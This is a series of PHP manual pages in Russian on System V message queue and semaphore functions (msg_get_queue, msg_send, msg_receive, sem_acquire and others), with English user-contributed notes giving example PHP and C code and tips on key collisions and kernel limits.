marco at greenlightsolutions dot nl 17-Apr-2007 08:08
As ftok uses only the last 16 bits of the inode of the file, you can get collisions on large filesystems. Unfortunately, on large filesystems you can get collisions rather quickly: if you have a collection of 350-400 files, odds are that two of them have inodes with the same last 16 bits. So I've taken to using fileinode instead of ftok with functions like shmop_open.
mbowie at buzmo dot com 20-Oct-2004 02:41
If you're planning to use ftok() to generate an IPC identifier to share with other applications, note that PHP uses the ASCII value of the proj parameter to generate the key, not the proj (aka id) parameter itself.

The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere.

This may not be the case under all OS's, but certainly is for FreeBSD which requires the id parameter passed to ftok to be an int.

Also of note, ipcs and ipcrm are extremely useful for debugging SysV queues etc.

References:
http://www.freebsd.org/cgi/man.cgi?query=ftok
http://www.asciitable.com
abk at avatartechnology dot com 17-Jun-2004 01:17
Thanks to  daniele_dll@yahoo.it who got this in turn from linux glibc 2.3.2: http://www.php.net/manual/en/function.shmop-open.php -- I'm putting this here because it might be helpful to others.

function ftok($pathname, $proj_id) {
   $st = @stat($pathname);
   if (!$st) {
       return -1;
   }

   $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
   return $key;
}
david dot rech at virusmedia dot de 26-May-2004 07:50
Missing ftok() on Windows? Here's my little workaround:

<?php
if( !function_exists('ftok') )
{
    function ftok($filename = "", $proj = "")
    {
        if( empty($filename) || !file_exists($filename) )
        {
            return -1;
        }
        else
        {
            $filename = $filename . (string) $proj;
            for($key = array(); sizeof($key) < strlen($filename); $key[] = ord(substr($filename, sizeof($key), 1)));
            return dechex(array_sum($key));
        }
    }
}?>

NOTE: There *may* be duplicate keys, even if probability is low.

The key's were NOT computed like the original UNIX ftok() because i.e. fileinode() is also missing on windows. Normally ftok() computes a key based on the file inode and the system minor id of the harddrive the file resides.

Behaviour is like PHPs ftok(), -1 is returned if file is missing or $filename is empty, computed int as hex on success.

--
Regards,
David Rech
kimaz at swecom dot org 02-May-2004 06:35
You dont have to use ftok() for specifying an System V IPC identifier, though its a good thing to do so.

Passing a regular int to, e.g. msg_get_queue, will have the same effect aslong as you use that value when reading/writing.

I use it for some minor tasks generating small queue's.
andreyKEINSPAM at php dot net 24-Apr-2004 09:43
This function is not part neither of ext/sysvsem nor ext/sysvshm but comes with the core functions of PHP (from ext/standard).


Создание или подключение к очереди сообщений

  • « ftok
  • msg_queue_exists »
  • PHP Manual
  • Функции семафоров
  • Создание или подключение к очереди сообщений

msg_get_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_get_queue — Создание или подключение к очереди сообщений

Описание

msg_get_queue(int $key, int $permissions = 0666): SysvMessageQueue|false

msg_get_queue() возвращает идентификатор, который используется для доступа к очереди сообщений System V с указанным ключом key. Первый вызов создаёт очередь сообщений с необязательными правами permissions. Второй и последующие вызовы msg_get_queue() для того же key будут возвращать другие идентификаторы, однако все они будут ссылаться на одну и ту же очередь сообщений.

Список параметров

key

Числовой идентификатор очереди сообщений.

permissions

Права доступа к очереди. По умолчанию 0666. Если очередь сообщений уже существует, параметр permissions игнорируется.

Возвращаемые значения

Возвращает экземпляр SysvMessageQueue, который может быть использован для доступа к очереди сообщений System V или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр SysvMessageQueue; ранее возвращался ресурс (resource).

Смотрите также

  • msg_remove_queue() - Удаление очереди сообщений
  • msg_receive() - Получение сообщения из очереди сообщений
  • msg_send() - Отправка сообщения в очередь сообщений
  • msg_stat_queue() - Получение информации из структуры данных очереди сообщений
  • msg_set_queue() - Установка информации в структуре данных очереди сообщений

User Contributed Notes

Joey 22-Jul-2019 11:10
I find it hard to work out how to really use this reliably particularly in respect to collisions.

It maps to SysV IPC msgget.

As I see it you have three options...

1. Manage the IDs yourself, allocating various ranges or using some kind of centralised mechanism.
2. Use ftok. This attempts to find a unique ID, though it's not guaranteed to be unique or constant in absolutely every circumstance. It relies on using a file, from which it uses bits from the inode and dev it expects to be unique. It's the standard way and as long as there's nothing too unusual it should probably work (but might not survive radical FS changes).
3. Use 0 as the key, which appears to map to IPC_PRIVATE, a magic value which if provided as a key creates a new queue each time (without a key in effect).

Unfortunately option #3 is of limited use in PHP.

In C that is useful might be useful as the queue resource is just identified by an int and can be passed around.

In PHP its utility is questionable as only the resource can be passed within a single process. It's not possible to pass the resource with serialize / unserialize even though it's just a wrapped int.

The msqid returned isn't exactly unpredictable either so can quite easily be accidentally accessed. The first one I got was 0.

If you create a queue like this you'll find it very annoying as it wont be possible to delete it via PHP.

Like all IO it's worth wrapping this function and launching an exception if the input is 0.
Michael Iatrou 02-Jul-2010 09:47
If you are getting the following message (on Linux):

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

aside from what [others have] suggested, you should also check and set an appropriate value for kernel parameter kernel.msgmni, e.g. sysctl -w kernel.msgmni=256
Morten Brrup 17-Mar-2010 01:08
IPC_CREAT has no effect in this function. The PHP source code (file sysvmsg.c) reveals that only if msgget(key,0) fails, msgget(key, IPC_CREAT | IPC_EXCL | perms) is used.
pail dot luo at gmail dot com 28-Feb-2009 09:22
A simple Sample to introduce Message Queue.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] stat|send|receive|remove msgType MSG [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] receive ID \n" ;
        echo "       $argv[0] stat \n" ;
        echo "       $argv[0] remove \n" ;
        exit;
}

$MSGKey = "123456" ;

## Create or attach to a message queue
$seg = msg_get_queue($MSGKey) ;

switch ( $argv[1] ) {
    case "send":
        msg_send($seg, $argv[2], $argv[3]);
        echo "msg_send done...\n" ;
        break;

    case "receive":
        $stat = msg_stat_queue( $seg );
        echo 'Messages in the queue: '.$stat['msg_qnum']."\n";
        if ( $stat['msg_qnum']>0 ) {
            msg_receive($seg, $argv[2], $msgtype, 1024, $data);
            var_dump($msgtype);
            var_dump($data);
            echo "\n";
        }
        else {
            echo "No Msg...\n";
        }
        break;

    case "stat":
      print_r( msg_stat_queue($seg) );
        break;

    case "remove":
        msg_remove_queue($seg);
        break;
}
?>
david dot schueler at tel-billig dot de 17-Dec-2008 08:17
If you are getting this message on your *NIX box:

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

you may use the command "ipcrm" as root to clear the message queue. Use "man ipcrm" to get more info on it.
The default setting for maximum messages in the queue is stored in /proc/sys/fs/mqueue/msg_max. To increase it to a maximum of 100 messages, just run:
echo 100 > /proc/sys/fs/mqueue/msg_max

Please ensure to follow a good programming style and close/free all your message queues before your script exits to avoid those warning messages.
martin dot velek at gmail dot com 01-Aug-2007 04:23
Lack of IPC_EXCL makes me unhappy. Of course, you can use ftok() to generate a unique key. This code is not allmighty, another process under the same user can open the queue and function returns true. But in some situation it could help.

code:

<?
function ipcEXCL($res,$perm)
{
 $pole = msg_stat_queue($res);

 if($pole['msg_perm.uid']==posix_getuid() &&
    $pole['msg_perm.gid']==posix_getgid()  &&
    $pole['msg_perm.mode']==$perm  &&
    $pole['msg_stime']==0  &&
    $pole['msg_rtime']==0  &&
    $pole['msg_qnum']==0  &&
    $pole['msg_lspid']==0  &&
    $pole['msg_rspid']==0)
        return true;
 else
        return false;
}

$res=msg_get_queue($key,$perm);

if(ipcEXCL($res,$perm))
   echo "probably I am a creator:";
else
   echo "probably not";
?>
joeldg AT listbid.com 02-May-2003 12:10
// Here is an example of working with message queues.
// if you have forked processes, this could be a great way of passing
// out work to them

// create the message queue
// pick a file..
  $key_t = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);

    // place two messages on the queue
    if (!msg_send ($key_t, 1, 'This is message #1', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";
    if (!msg_send ($key_t, 1, 'This is message #2 ', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";

    // lets look at the queue structure 'msg_qnum' is really what we want to see
    // it should be '2'
    print_r(msg_stat_queue($key_t));

    // pull off the stack
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #1'
        } else {
           echo "Received $msg_error fetching message\n";
        }
    // look at the structure again, ms_qnum should be '1'
    print_r(msg_stat_queue($key_t));
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #2'
        } else {
           echo "Received $msg_error fetching message\n";
        }
   // look at the structure again, ms_qnum should be '0', no more messages on the queue
   print_r(msg_stat_queue($key_t));

   // get rid of the queue we created
   msg_remove_queue ($key_t);


Проверка существования очереди сообщений

  • « msg_get_queue
  • msg_receive »
  • PHP Manual
  • Функции семафоров
  • Проверка существования очереди сообщений

msg_queue_exists

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

msg_queue_exists — Проверка существования очереди сообщений

Описание

msg_queue_exists(int $key): bool

Проверяет существование очереди сообщений, задаваемой ключом key.

Список параметров

key

Ключ очереди.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • msg_remove_queue() - Удаление очереди сообщений
  • msg_receive() - Получение сообщения из очереди сообщений
  • msg_stat_queue() - Получение информации из структуры данных очереди сообщений

User Contributed Notes

klatovsky at 2u2 dot cz 25-Oct-2018 02:14
This function is creating new queue (and returning true) if you set NULL into $key variable.

<?php

$isQueueCreated = msg_queue_exists(NULL);
print $isQueueCreated ? "WTF??!" : "ok, everything is fine..";

?>

WTF??!

# ipcs -q
0x00000000 173047808  root       0        0            0
tkuschel at loytec dot com 05-Jul-2012 08:40
Following code will do the job:
<?php
$key = 0;
while (true) {
  echo $key,"...\r";
  if (msg_queue_exists($key))
   echo "\r",$key,'::Exists',"\n";
   $key++;
}
?>
michael dot hajuu at gmail dot com 09-Mar-2011 05:01
A simple script for checking what message queues are in use on a [presumably new] server environment.

Run with php-cli

<?php
$k = 0;
while (true) {
  echo $key,"...\r";
  if (msg_queue_exists($key))
   echo "\r",$key,'::Exists',"\n";
   $key++;
}
?>
jaredm 10-Dec-2009 04:31
A workaround for those not yet running 5.3 on *nix:

<?php
function queue_exists($key) {
    if(function_exists("msg_queue_exists")) {
        return msg_queue_exists($key);
    } else {
        $aQueues = array();
        exec("ipcs -q | grep \"^[0-9]\" | cut -d \" \" -f 1", $aQueues);
        if(in_array($key,$aQueues)) return true;
        else return false;
    }
}
?>

Maybe a bit slow and kludgey, but it works.


Получение сообщения из очереди сообщений

  • « msg_queue_exists
  • msg_remove_queue »
  • PHP Manual
  • Функции семафоров
  • Получение сообщения из очереди сообщений

msg_receive

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_receive — Получение сообщения из очереди сообщений

Описание

msg_receive(
SysvMessageQueue $queue,
int $desired_message_type,
int &$received_message_type,
int $max_message_size,
mixed &$message,
bool $unserialize = true,
int $flags = 0,
int &$error_code = null
): bool

msg_receive() получает первое сообщение из задаваемой параметром queue очереди сообщений с типом, указанным в desired_message_type.

Список параметров

queue

Очередь сообщений.

desired_message_type

Если в desired_message_type указано 0, возвращается первое сообщение из очереди. Если desired_message_type больше 0, то возвращается первое сообщение с указанным типом. Если desired_message_type меньше 0, то возвращается первое сообщение с типом, меньшим или равным по модулю указанному в desired_message_type. Если нет сообщений, соответствующих критериям, ваш скрипт ожидает их появления в очереди. Вы можете изменить это поведение, указав MSG_IPC_NOWAIT в параметре flags.

received_message_type

В этом параметре сохраняется тип полученного сообщения.

max_message_size

Максимальный размер принимаемого сообщения задаётся в max_message_size; если сообщение в очереди больше этого размера, то функция завершается ошибкой (если вы не установите flags как описано ниже).

message

Полученное сообщение сохраняется в message, если не было ошибок при получении.

unserialize

Если установлено в true, сообщение рассматривается как сериализованое с использованием того же механизма, что и в модуле сессий. Сообщение десериализуется, а затем возвращается в ваш скрипт. Это позволяет вам легко получать массивы и сложные объекты из других PHP-скриптов, или, если вы используете WDDX-сериализатор, из любых совместимых с WDDX источников.

Если в unserialize указано false, сообщение возвращается в виде бинарно-безопасной строки.

flags

Необязательный параметр flags позволяет вам передать флажки в низкоуровневый системный вызов msgrcv. По умолчанию его значение 0, однако вы можете указать одно или несколько следующих значений (складывая их или выполняя операцию бинарного ИЛИ).

Flag values for msg_receive
MSG_IPC_NOWAIT | Если нет сообщений, удовлетворяющих условиям desired_message_type, возвращаться немедленно, а не ждать. Функция завершается ошибкой и возвращает целочисленное значение MSG_ENOMSG.
MSG_EXCEPT | Использование этого флага в комбинации с указанным в desired_message_type положительным значением, позволяет получить первое сообщение, тип которого не равен значению desired_message_type.
MSG_NOERROR | Если размер сообщения превышает max_message_size, то установка этого флага приводит к усечению сообщения до max_message_size без сигнализирования об ошибке.

error_code

Если функция завершается аварийно, необязательный параметр error_code будет содержать значение системной переменной errno.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

При успешном завершении, структура данных очереди сообщений обновляется следующим образом: msg_lrpid содержит идентификатор вызвавшего процесса, msg_qnum уменьшается на 1 и msg_rtime устанавливается соответственно текущему времени.

Список изменений

Версия | Описание
8.0.0 | Параметр queue теперь ожидает экземпляр SysvMessageQueue; ранее ожидался ресурс (resource).

Смотрите также

  • msg_remove_queue() - Удаление очереди сообщений
  • msg_send() - Отправка сообщения в очередь сообщений
  • msg_stat_queue() - Получение информации из структуры данных очереди сообщений
  • msg_set_queue() - Установка информации в структуре данных очереди сообщений

User Contributed Notes

soger 13-May-2019 12:28
It seems that a maxsize of 2Mb is some sort of a threshold for php, above that msg_receive() starts to use a lot of CPU (with a sender that is pushing messages non-stop receiving 10000 messages jumps up from 0.01 sec to 1.5 sec on my computer) so try to stay below that thresholod if you can.
marbledore at mail dot ru 16-Jun-2011 03:38
It looks like msg_receive() allocates a memory with size $maxsize, and only then tries to receive a message from queue into allocated memory. Because my script dies with $maxsize = 1 Gib, but works with $maxsize = 10 Kib.
eimers at mehrkanal dot com 19-Mar-2008 08:49
<?php error_reporting(E_ALL);
/**
 * Example for sending and receiving Messages via the System V Message Queue
 *
 * To try this script run it synchron/asynchron twice times. One time with ?typ=send and one time with ?typ=receive
 *
 * @author          Thomas Eimers - Mehrkanal GmbH
 *
 * This document is distributed in the hope that it will be useful, but without any warranty;
 * without even the implied warranty of merchantability or fitness for a particular purpose.
 */

header('Content-Type: text/plain; charset=ISO-8859-1');
echo "Start...\n";

// Create System V Message Queue. Integer value is the number of the Queue
$queue = msg_get_queue(100379);

// Sendoptions
$message='nachricht';     // Transfering Data
$serialize_needed=false;  // Must the transfer data be serialized ?
$block_send=false;        // Block if Message could not be send (Queue full...) (true/false)
$msgtype_send=1;          // Any Integer above 0. It signeds every Message. So you could handle multible message
                          // type in one Queue.

// Receiveoptions
$msgtype_receive=1;       // Whiche type of Message we want to receive ? (Here, the type is the same as the type we send,
                          // but if you set this to 0 you receive the next Message in the Queue with any type.
$maxsize=100;             // How long is the maximal data you like to receive.
$option_receive=MSG_IPC_NOWAIT; // If there are no messages of the wanted type in the Queue continue without wating.
                          // If is set to NULL wait for a Message.

// Send or receive 20 Messages
for ($i=0;$i<20;$i++) {
  sleep(1);
  // This one sends
  if ($_GET['typ']=='send') {
    if(msg_send($queue,$msgtype_send, $message,$serialize_needed, $block_send,$err)===true) {
      echo "Message sendet.\n";
    } else {
      var_dump($err);
    }
  // This one received
  } else {
    $queue_status=msg_stat_queue($queue);
    echo 'Messages in the queue: '.$queue_status['msg_qnum']."\n";

    // WARNUNG: nur weil vor einer Zeile Code noch Nachrichten in der Queue waren, muss das jetzt nciht mehr der Fall sein!
    if ($queue_status['msg_qnum']>0) {
      if (msg_receive($queue,$msgtype_receive ,$msgtype_erhalten,$maxsize,$daten,$serialize_needed, $option_receive, $err)===true) {
              echo "Received data".$daten."\n";
      } else {
              var_dump($err);
      }
    }
  }
}

?>
marvel at post dot cz 26-Jan-2008 02:27
Consider this e.g. Linux situation:

<?php
//file send.php
$ip = msg_get_queue(12340);
msg_send($ip,8,"abcd",false,false,$err);
//-----------------------------------------------------
<?php
//file receive.php
$ip = msg_get_queue(12340);

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";
?>

Now run:
in terminal #1   php5 receive.php
in terminal #2   php5 receive.php
in terminal #3   php5 send.php

Showing messages from queue will flip-flop. It means you run once send.php, the message will be shown in terminal #1. Second run it will be in t#2, third #1 and so on.
webmaster at toolshed51 dot com 10-Apr-2003 03:56
This is meant to be run as your apache user in a terminal, call script in note of msg_send and they will communicate.

#! /usr/bin/env php
<?php
    $MSGKEY = 519051; // Message

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    while (1) {
        if (msg_receive ($msg_id, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            if ($msg == 'Quit') break;
            echo "$msg\n";
        } else {
            echo "Received $msg_error fetching message\n";
            break;
        }
    }

    msg_remove_queue ($msg_id);
?>


Удаление очереди сообщений

  • « msg_receive
  • msg_send »
  • PHP Manual
  • Функции семафоров
  • Удаление очереди сообщений

msg_remove_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_remove_queue — Удаление очереди сообщений

Описание

msg_remove_queue(SysvMessageQueue $queue): bool

msg_remove_queue() удаляет очередь сообщений, указанную в параметре queue. Используйте эту функцию только тогда, когда все использовавшие очередь сообщений процессы завершили работу с ней и вам необходимо освободить системные ресурсы.

Список параметров

queue

Очередь сообщений.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр queue теперь ожидает экземпляр SysvMessageQueue; ранее ожидался ресурс (resource).

Смотрите также

  • msg_get_queue() - Создание или подключение к очереди сообщений
  • msg_receive() - Получение сообщения из очереди сообщений
  • msg_stat_queue() - Получение информации из структуры данных очереди сообщений
  • msg_set_queue() - Установка информации в структуре данных очереди сообщений

User Contributed Notes

There are no user contributed notes for this page.


Отправка сообщения в очередь сообщений

  • « msg_remove_queue
  • msg_set_queue »
  • PHP Manual
  • Функции семафоров
  • Отправка сообщения в очередь сообщений

msg_send

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_send — Отправка сообщения в очередь сообщений

Описание

msg_send(
SysvMessageQueue $queue,
int $message_type,
string|int|float|bool $message,
bool $serialize = true,
bool $blocking = true,
int &$error_code = null
): bool

msg_send() отправляет сообщение message с типом message_type (должно быть больше 0) в очередь сообщений, указанную параметром queue.

Список параметров

queue

Очередь сообщений.

message_type

Тип сообщения. Должно быть больше 0.

message

Тело сообщения.

Замечание:

Если serialize задано как false, ДОЛЖНО быть типа: string, int, float или bool. Иначе будет выведено предупреждение.

serialize

Необязательный параметр serialize управляет тем, как будет отправлено сообщение message. По умолчанию serialize имеет значение true, что означает сериализацию message перед отправкой тем же механизмом, который используется модулем обработки сессий. Это позволяет отправлять сложные массивы и объекты в другие PHP-скрипты, или, если вы используете сериализацию WDDX, в другие совместимые с WDDX клиенты.

blocking

Если помещаемое в очередь сообщение слишком велико, ваш скрипт будет ожидать прочтения сообщений другим процессом и освобождения места под отправляемое вами сообщение. Это называется блокировкой; вы можете отключить эту возможность, установив для blocking значение false, в этом случае msg_send() будет немедленно возвращать false если сообщение слишком велико, и устанавливать необязательный параметр error_code в значение MSG_EAGAIN, что будет указывать вам на необходимость попробовать отправить сообщение несколько позже.

error_code

Если функция отработает неудачно, то этот код будет записан в системную переменную errno.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

При успешном завершении структура данных очереди сообщений обновится следующим образом: msg_lspid будет содержать идентификатор вызвавшего процесса, msg_qnum увеличится на 1, а msg_stime будет содержать текущее время.

Список изменений

Версия | Описание
8.0.0 | Параметр queue теперь ожидает экземпляр SysvMessageQueue; ранее ожидался ресурс (resource).

Смотрите также

  • msg_remove_queue() - Удаление очереди сообщений
  • msg_receive() - Получение сообщения из очереди сообщений
  • msg_stat_queue() - Получение информации из структуры данных очереди сообщений
  • msg_set_queue() - Установка информации в структуре данных очереди сообщений

User Contributed Notes

qeekin at gmail dot com 11-Apr-2014 08:51
I created example how to comunnicate with programe written in C throught messages queues. First run C program (it will create queue) then PHP script.

C code compile with: gcc -std=c99 -o test_queue test_queue.c

test_queue.c:
/**
* Example how to use System V Messages Queues with PHP and C program.
* This is simple server which create message queue and receive message from it.
* Based on Beej's Guide to Unix IPC
* Autor: Jan Drazil, <qeekin at gmail dot com>
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

/* Buffer struct for receiving messages */
struct php_buf {
    long mtype;
    char msg[200];
};

int main(void)
{
    struct php_buf buf;
    int msqid;
    key_t key;

    /* Generate key (/var/www/index.php must be accessible file) */
    if((key = ftok("/var/www/index.php", 'G')) == -1) {
        perror("ftok");
        exit(EXIT_FAILURE);
    }

    /* Create message queue */
    if((msqid = msgget(key, 0666 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(EXIT_FAILURE);
    }

    printf("Ready to get string from PHP!\n");

    /* Receive message */
    if(msgrcv(msqid, &buf, sizeof(buf.msg)-1, 0, 0) == -1) {
        perror("msgrcv");
        exit(EXIT_FAILURE);
    }

    /* Eliminate segmentation fault */
    buf.msg[199] = '\0';

    printf("Recieved from PHP: %s\n", buf.msg);

    /* Destroy message queue */
    if(msgctl(msqid, IPC_RMID, NULL) == -1) {
        perror("msgctl");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

test_queue.php:
<?php
/**
* Example how to use System V Messages Queues with PHP and C program.
* This is simple server which create message queue and receive message from it.
* Based on Beej's Guide to Unix IPC
* Autor: Jan Drazil, <qeekin at gmail dot com>
*/

/* Generate key, param fot ftok must be same as in test_msg.c */
if(($key = ftok("/var/www/index.php", "G")) == -1)
    die("ftok");

if(!msg_queue_exists($key))
    die("message queue doesn't exists");

/* Connect to message queue */
if(($msqid = msg_get_queue($key)) === FALSE)
    die("msg_get_queue");

echo "Sending text to msg queue.\n";

/* Send message to C program */
if(!msg_send($msqid, 12, "Hello from PHP!\0", false))
    die("msg_send");

echo "Done"
?>
Muffinman 15-Nov-2012 10:24
When sending non-complex (serialize = false) messages to a program in C, you need to add the null character to the string (\0). Otherwise the previous message will be partially visible if it is longer than the current message. Took some kind help from comp.lang.php for me to figure that out. While it seems so obvious now, I thought I'd share it here.
michael dot NO dot SP dot AM dot cordover+php at gmail dot com 16-Oct-2009 04:10
After about an hour of debugging I've discovered the meaning of the undocumented "PHP Warning: msg_send(): msgsnd failed: Invalid argument" ($errorcode = 13).

This occurred when the size of $message was larger than msg_qbytes (see msg_stat_queue() for how to determine and change msg_qbytes).
shepik at yandex dot ru 02-Jul-2009 07:04
$msgtype used in msg_send function can be any positive integer.
bryan-boone at msn dot com 14-May-2008 03:39
I think it is kinda lame why I cannot find out (easily) explicitly which types of messages are allowed and which ones are not.  Maybe we can start our own little list.  I know that strings work, and arrays do not.
webmaster at toolshed51 dot com 10-Apr-2003 03:51
Sample sending webpage, see msg_receive for matching service

<?php
    $MSGKEY = 519051;

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    if (!msg_send ($msg_id, 1, 'Hi', true, true, $msg_err))
        echo "Msg not sent because $msg_err\n";
?>


Установка информации в структуре данных очереди сообщений

  • « msg_send
  • msg_stat_queue »
  • PHP Manual
  • Функции семафоров
  • Установка информации в структуре данных очереди сообщений

msg_set_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_set_queue — Установка информации в структуре данных очереди сообщений

Описание

msg_set_queue(SysvMessageQueue $queue, array $data): bool

msg_set_queue() позволяет вам изменить значения полей msg_perm.uid, msg_perm.gid, msg_perm.mode и msg_qbytes в служебной структуре данных очереди сообщений.

Изменение структуры данных возможно только в том случае, если PHP запущен от пользователя, создавшего очередь, владеющего очередью (определяется полем msg_perm.xxx), или имеющего root-привилегии. Root-привилегии требуются для увеличения значения msg_qbytes выше системных лимитов.

Список параметров

queue

Очередь сообщений.

data

Вы указываете требующие установки значения через соответствующие ключи массива data.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр queue теперь ожидает экземпляр SysvMessageQueue; ранее ожидался ресурс (resource).

Смотрите также

  • msg_remove_queue() - Удаление очереди сообщений
  • msg_receive() - Получение сообщения из очереди сообщений
  • msg_stat_queue() - Получение информации из структуры данных очереди сообщений
  • msg_get_queue() - Создание или подключение к очереди сообщений

User Contributed Notes

webmaster at toolshed51 dot com 16-May-2003 03:50
Example:
$msg_id = msg_get_queue (12341234, 0600);
msg_set_queue ($msg_id, array ('msg_perm.uid'=>'80'));

List of all possible keys at documentation for msg_stat_queue


Получение информации из структуры данных очереди сообщений

  • « msg_set_queue
  • sem_acquire »
  • PHP Manual
  • Функции семафоров
  • Получение информации из структуры данных очереди сообщений

msg_stat_queue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

msg_stat_queue — Получение информации из структуры данных очереди сообщений

Описание

msg_stat_queue(SysvMessageQueue $queue): array|false

msg_stat_queue() возвращает мета-данные очереди сообщений, задаваемой queue. Это полезно, например, для определения процесса-отправителя полученного вами только что сообщения.

Список параметров

queue

Очередь сообщений.

Возвращаемые значения

В случае успешного выполнения возвращаемое значение представляет собой массив, ключи и значения которого означают следующее:

Структура массива для msg_stat_queue
msg_perm.uid | uid владельца очереди
msg_perm.gid | gid владельца очереди.
msg_perm.mode | Режим доступа к очереди.
msg_stime | Время последней отправки сообщения в очередь.
msg_rtime | Время последнего получения сообщения из очереди.
msg_ctime | Время последнего изменения очереди.
msg_qnum | Количество сообщений в очереди.
msg_qbytes | Максимальное количество байт, допустимое в одной очереди сообщений. В Linux это значение можно получить и изменить через /proc/sys/kernel/msgmnb.
msg_lspid | pid процесса, последним отправившего сообщение в очередь.
msg_lrpid | pid процесса, последним получившим сообщение из очереди.

Возвращает false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр queue теперь ожидает экземпляр SysvMessageQueue; ранее ожидался ресурс (resource).

Смотрите также

  • msg_remove_queue() - Удаление очереди сообщений
  • msg_receive() - Получение сообщения из очереди сообщений
  • msg_get_queue() - Создание или подключение к очереди сообщений
  • msg_set_queue() - Установка информации в структуре данных очереди сообщений

User Contributed Notes

There are no user contributed notes for this page.


Захват семафора

  • « msg_stat_queue
  • sem_get »
  • PHP Manual
  • Функции семафоров
  • Захват семафора

sem_acquire

(PHP 4, PHP 5, PHP 7, PHP 8)

sem_acquire — Захват семафора

Описание

sem_acquire(SysvSemaphore $semaphore, bool $non_blocking = false): bool

sem_acquire() блокируется (при необходимости) до момента захвата семафора. Процесс, который попытается захватить семафор уже захваченный им же будет заблокирован навсегда, если будет превышено максимальное значение семафора.

После выполнения запроса, все захваченные, но явно не освобождённые процессом, семафоры освобождаются автоматически и генерируется предупреждение.

Список параметров

semaphore

semaphore - семафор.

non_blocking

Указывает, должен ли процесс ждать для захвата семафора. Если установлено в true, вызов немедленно вернёт false, если семафор не может быть захвачен.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр semaphore теперь ожидает экземпляр SysvSemaphore; ранее ожидался ресурс (resource).

Смотрите также

  • sem_get() - Получение идентификатора семафора
  • sem_release() - Освобождение семафора

User Contributed Notes

Ben 09-Sep-2020 05:50
I recently had to use semaphores to avoid running an update of a database concurrently.

For testing it I used two browser windows (chrome) on the same Desktop.

In this case semaphores did not work as expected.
Also flock on a file did not work as expected.

Running the script from command line did work as expected.

As soon as I used two different browsers, one on my desktop another within a virutal machine, it works like expected.

Hope that helps anybody avoiding strange debugging sessions on this topic...
anatoliy at ukhvanovy dot name 06-Feb-2015 09:25
If you need non-blocking semaphores, here is an example how you may implement it. Use a shared memory variable to mark whether or not a lock exists and then use a semaphore around operations against that variable. I'll call my shared variable as 'token'.

<?php
echo '<pre>';

$resourceSemaphore = sem_get(7);
$tokenSemaphore = sem_get(8);
$tokenValue = shm_attach(9, 100);

function myEcho($v) {
    echo microtime() . ' ' . $v . "\n";
}

// sem_remove($resourceSemaphore);
// sem_remove($tokenSemaphore);
// exit();

function try_lock() {
    global $resourceSemaphore, $tokenSemaphore, $tokenValue;
    myEcho('begin try_lock()');
    myEcho('acquire token semaphore');
    sem_acquire($tokenSemaphore);
    myEcho('    token semaphore acquired');
    $tmp = shm_get_var($tokenValue, 6);
    myEcho('    token value: ' . var_export($tmp, true));
    $exit = $tmp;
    if (!$exit) {
        $tmp = shm_put_var($tokenValue, 6, true);
        $tmp = shm_get_var($tokenValue, 6);
        myEcho('    token new value: ' . var_export($tmp, true));
    }
    myEcho('release token semaphore');
    sem_release($tokenSemaphore);
    if ($exit) return false;
    myEcho('acquire resource semaphore');
    sem_acquire($resourceSemaphore);
    myEcho('    resource semaphore acquired');
    return true;
}

function release() {
    global $resourceSemaphore, $tokenSemaphore, $tokenValue;
    myEcho('release resource semaphore');
    sem_release($resourceSemaphore);
    myEcho('acquire token semaphore');
    sem_acquire($tokenSemaphore);
    myEcho('    token semaphore acquired');
    $tmp = shm_get_var($tokenValue, 6);
    myEcho('    token value: ' . var_export($tmp, true));
    $tmp = shm_put_var($tokenValue, 6, false);
    $tmp = shm_get_var($tokenValue, 6);
